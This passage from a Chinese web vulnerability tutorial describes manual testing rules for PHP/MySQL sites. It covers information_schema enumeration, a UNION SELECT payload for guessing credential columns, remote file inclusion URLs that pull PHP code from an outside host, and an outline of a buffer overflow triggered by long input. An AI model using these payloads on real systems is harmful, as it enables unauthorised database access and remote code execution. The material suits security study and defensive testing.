上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表的具体字段到底是干什么的:)
1: KEY_COLUMN_USAGE表
constraint_schema: 存放数据库名
table_schema: 存放数据库名
table_name: 存放数据库表信息
column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息
2: SCHEMA表
schema_name: 存放数据库名
default_charater_set_name: 存放charset类型
default_collation_name: 存放charset相关信息
3: SCHEMA_PRIVILEGES表
grantee: 存放数据库用户名
table_schema: 表名
privilege_type: 权限
4: STATISTICS表
table_schema: 存放数据库名
table_name: 存放表名
index_schema: 数据库名
index_name: 是否缩引?
column_name: 存放索引自增字段?
5: TABLES表
table_schema: 存放数据库名
table_name: 存放表名
table_type: 表类型 SYSTEM or BASE TABLE
engin: MEMORY MYISAM InnoDB
version:
table_rows:表的行数
auto_increment: 自增的总行数
create_time: 创建表的时间
update_time: 更新表的时间
create_options: 创建表时的约束条件
...
有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而直接获取数据库表名的结果.我在本地测试时一切OK:)
猜测列名:
http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表的字段信息,如:admin与password:)
C: 文件包含漏洞
文件包含漏洞的测试,有以下几个比较简单且有效的办法.
1: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为*.txt格式
2: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为无后缀格式
然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:
http://bbs.cciss.cn/include.txt
http://bbs.cciss.cn/include
漏洞规则:
http://website/file.php?inc=http://bbs.cciss.cn/include.txt
http://website/file.php?inc=http://bbs.cciss.cn/include.txt?
http://website/file.php?inc=http://bbs.cciss.cn/include?
http://website/file.php?inc=http://bbs.cciss.cn/include
使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.
例如从XSS漏洞的检测规则可能会发现包含文件漏洞:)
如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),
那么我们如何利用这样的漏洞呢?
我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置函数,则可以使用下面的办法来触发漏洞http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.
总结
针对WEB漏洞的挖掘,规则有N多,其中还有很多变种的规则.这里说的基本上是一些可以简单采取手工办法测试的规则,更多的规则是依靠经验不断积累所致:)
本文比较简单,也没有什么技术含量,只是看到xfocus上介绍WEB漏洞的文章较少,所以才想到提交下,希望对大家有所帮助.
| Vista+谷歌拼音输入法重现输入法 | 04-06 | |
| 45种可以拿到Webshell的技巧 | 04-02 | |
| 0起步接触黑客--实用价值相当高 | 04-02 | |
| 普通文件的欺骗手法 | 03-21 | |
| 黑客技术-ARP欺骗 | 03-19 | |
| 跨站Script攻击和防范 | 03-19 | |
| 超级兔子+WinRAR轻松破解收费加密 | 03-16 | |
| 浏览器执行exe文件的探讨 | 03-15 | |
| 菜鸟"搜"大量Web Shell的思路 | 03-14 | |
| 轻松录制在线网络电视的方法 | 03-14 | |
| 突破单位网管封杀QQ、MSN 端口的 | 03-14 | |
| 菜鸟找漏洞—渗透网站的“反思” | 02-06 | |